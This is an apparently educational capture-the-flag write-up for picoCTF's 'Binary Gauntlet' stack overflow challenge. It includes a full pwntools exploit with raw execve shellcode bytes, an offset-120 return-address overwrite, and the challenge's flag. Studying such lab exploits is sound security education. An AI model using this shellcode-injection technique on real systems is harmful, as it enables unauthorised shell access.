Skip to main content

Binary Gauntlet 1 picoCTF 2021 Solution

A binary exploitation challenge where injecting and executing custom shellcode leads to the flag.

Published: April 2, 2026Updated: August 13, 2026

Description

Level 2 of Binary Gauntlet. The program has no stack canary, no PIE, and - crucially - NX is disabled, so the stack is executable. It also prints the address of the destination buffer before reading input, handing you the exact address you need to redirect execution to shellcode.

Download the binary and check its security properties.

bash
wget <url>/vuln
bash
chmod +x vuln
bash
checksec vuln

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Confirm mitigations with checksec
    Observation
    The description says NX is disabled and there is no canary. Verify both with checksec before picking a strategy, because each mitigation changes the approach entirely.
    Run checksec on the binary. The output shows: Partial RELRO, no canary, NX disabled, no PIE. The absence of NX is the key finding: the stack is executable, so you can write raw machine code into the buffer and then redirect the return address to run it.
    bash
    checksec vuln
    What didn't work first

    Tried: Running 'file vuln' instead of checksec to check binary protections

    The file command reports architecture and ELF type and nothing about NX, stack canaries, RELRO, or PIE. checksec reads the ELF headers and GNU_STACK segment flags and reports all four in one line. file alone cannot tell you whether shellcode injection is viable.

    Tried: Assuming NX is enabled by default and jumping straight to a ROP chain approach

    Most modern binaries do have NX enabled, so ROP is a reasonable first instinct. Here checksec shows NX disabled, so the stack is executable and shellcode injection is simpler and more direct than a gadget chain. Skip checksec and you build a ROP chain you never needed.

    Learn more

    NX (No-eXecute) marks the stack as non-executable so the CPU will refuse to run data stored there. When NX is disabled, every byte you write into a stack buffer can be executed as machine code - shellcode injection is the natural exploit path.

    Why no canary matters. A stack canary is a random value placed between the local variables and the saved return address. The function checks that value before returning; a corrupted canary triggers an abort. With no canary, you can overwrite the return address freely as long as you know the correct offset.

    Why no PIE matters. Position-Independent Executable randomizes the load address of the binary itself each run. With PIE off, binary addresses are fixed - but here you do not even need binary gadgets because the program gives you the stack address directly.

  2. Step 2Note the leaked buffer address
    Observation
    The binary prints a hex address via printf("%p") before reading input. That is the runtime stack buffer address, handed over deliberately, and capturing it is what makes aiming the shellcode possible under ASLR.
    When you run the binary you see a hex address printed via printf("%p\n", dest). That is the runtime address of the destination buffer where your input will be copied. Because ASLR randomizes the stack each run, you could not guess this address - but the program gives it to you. Save it; you will write it into the return address slot.
    bash
    ./vuln
    bash
    # observe the hex address printed before the prompt
    What didn't work first

    Tried: Hardcoding a stack address observed during a local test run and reusing it for the remote connection

    ASLR randomizes the stack base on every execution, so an address recorded from one run is worthless on the next. The program prints the current buffer address precisely because it moves. Parse the printed address from each fresh connection and use that live value.

    Tried: Treating the printed value as the return address itself rather than the destination buffer address

    The program leaks the address of the input buffer, which is where your shellcode will land. The return address is a different slot further up the stack, 120 bytes from the buffer. Overwrite that slot with the leaked buffer address, not the other way round.

    Learn more

    Why the program leaks the address. This is an intentional scaffolding hint built into the challenge. In a real exploit scenario you might need an information-leak vulnerability to defeat ASLR; here the challenge author shortcircuits that step so you can focus on the shellcode injection itself.

    ASLR vs. stack addresses. Even with the binary loaded at a fixed address (no PIE), Linux ASLR randomizes the stack base each execution. So the buffer address changes every run. Parsing the printed address in your exploit script and using it directly is the correct approach.

  3. Step 3Find the offset to the return address
    Observation
    The binary strcpy's up to 999 bytes into a small buffer with no bounds check, which is a classic stack overflow. Next comes finding the exact byte offset to the saved return address.
    Use pwntools cyclic to generate a De Bruijn pattern, send it to the binary, and let it crash. The value in RIP (or the fault address) identifies exactly where in the pattern the return address sits. The offset for this binary is 120 bytes.
    python
    python3 -c "from pwn import *; print(cyclic(200))" | ./vuln
    bash
    # note the crash address, then:
    python
    python3 -c "from pwn import *; print(cyclic_find(0x<CRASH_VALUE>))"
    What didn't work first

    Tried: Passing the RIP value from dmesg or /var/log/syslog directly to cyclic_find without byte-swapping

    The crash address the kernel reports is little-endian, but cyclic_find wants the raw 8-byte value as a Python integer. Copy the hex string and pass it without int(..., 16) and cyclic_find gets a string, raising a TypeError or returning the wrong offset.

    Tried: Using a pattern shorter than the buffer and assuming the first crash gives the exact offset

    If the pattern is shorter than the distance to the return address, the program faults on a read or write before it ever reaches RIP, so the crash tells you nothing. The pattern has to reach past offset 120, and 200 bytes ensures the return address slot really is overwritten with a unique subsequence.

    Learn more

    De Bruijn pattern. A cyclic (De Bruijn) sequence has the property that every subsequence of length n appears exactly once. Pwntools generates one with cyclic(n) and can reverse-map any 4- or 8-byte window back to its offset with cyclic_find(). This eliminates manual binary-search guessing.

    The overflow. The program copies up to 999 characters into a ~103-byte buffer via strcpy, so any input longer than the buffer eventually reaches and overwrites the saved return address at offset 120.

  4. Step 4Build and send the shellcode exploit
    Observation
    NX is off, the offset is 120, and the leaked buffer address is in hand, so every precondition for shellcode injection is met. A pwntools script puts 64-bit execve shellcode at the buffer start, pads to the offset, and overwrites the return address with the leaked value.
    Craft the payload: shellcode first (placed at the start of the buffer), then padding bytes to reach offset 120, then the leaked buffer address as the new return address. When the function returns it will jump directly into your shellcode and execute /bin/sh.
    python
    python3 - <<'EOF'
    from pwn import *
    
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    # 64-bit execve("/bin//sh") shellcode
    shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
    
    # Parse the buffer address printed by the program
    line = p.recvline()
    buf_addr = int(line.strip(), 16)
    print(f"Buffer at: {hex(buf_addr)}")
    
    offset = 120
    
    payload  = shellcode
    payload += b'A' * (offset - len(shellcode))  # pad to return address
    payload += p64(buf_addr)                      # overwrite return address
    
    p.sendline(payload)
    p.interactive()
    EOF

    Expected output

    picoCTF{75043449...}
    What didn't work first

    Tried: Placing the shellcode after the padding instead of at the start of the buffer

    Put the padding first and the shellcode after the return address, and the shellcode sits past the saved return address, where the return address write may clobber it or the CPU may treat the region differently. The return address points at the buffer start, so the shellcode has to begin at byte zero of the payload.

    Tried: Using a 32-bit execve shellcode on this 64-bit binary

    32-bit shellcode invokes execve through int 0x80 with eax, ebx, ecx, and edx. On a 64-bit kernel running a 64-bit ELF, int 0x80 hits the 32-bit syscall table, which uses different numbers and argument registers. The execve number differs between the two ABIs, so the shellcode either calls the wrong syscall or passes arguments in the wrong registers, giving SIGSEGV or ENOSYS instead of a shell.

    Learn more

    Payload layout in memory (each row is part of the stack buffer):

    buf_addr -> | shellcode bytes (24)     |  <- CPU will execute this
                | 'A' * 96 (padding)        |
                | buf_addr (8 bytes)        |  <- overwrites saved return address
                |                           |
      vuln() ret: jumps to buf_addr, runs shellcode -> /bin/sh

    Why shellcode works here. Because NX is disabled, the CPU treats the bytes in the stack buffer as executable code. The 24-byte shellcode calls execve("/bin//sh", NULL, NULL) via syscall 59 (0x3b), replacing the current process image with a shell.

    Why ret2libc is not needed here. ret2libc and ROP chains exist to bypass NX by reusing existing code. Since NX is off, injecting your own shellcode is simpler and does not require finding gadgets or leaking libc addresses. Binary Gauntlet 3 introduces NX and requires ret2libc.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{75043449...}

NX is disabled on this binary, so shellcode injected into the stack buffer executes directly. The program leaks the buffer address, making ASLR irrelevant. Pad 120 bytes, then overwrite the return address with the leaked address.

Key takeaway

Shellcode injection works whenever a program writes attacker-controlled bytes into memory the CPU is allowed to execute, which the NX bit governs through the OS page table. When the program also leaks its own addresses, the ASLR that would otherwise make injection impractical stops mattering. Modern systems stack NX, ASLR, stack canaries, and PIE together precisely because any one of them falls to the right information leak.

Related reading

Tools used in this challenge

Where to go next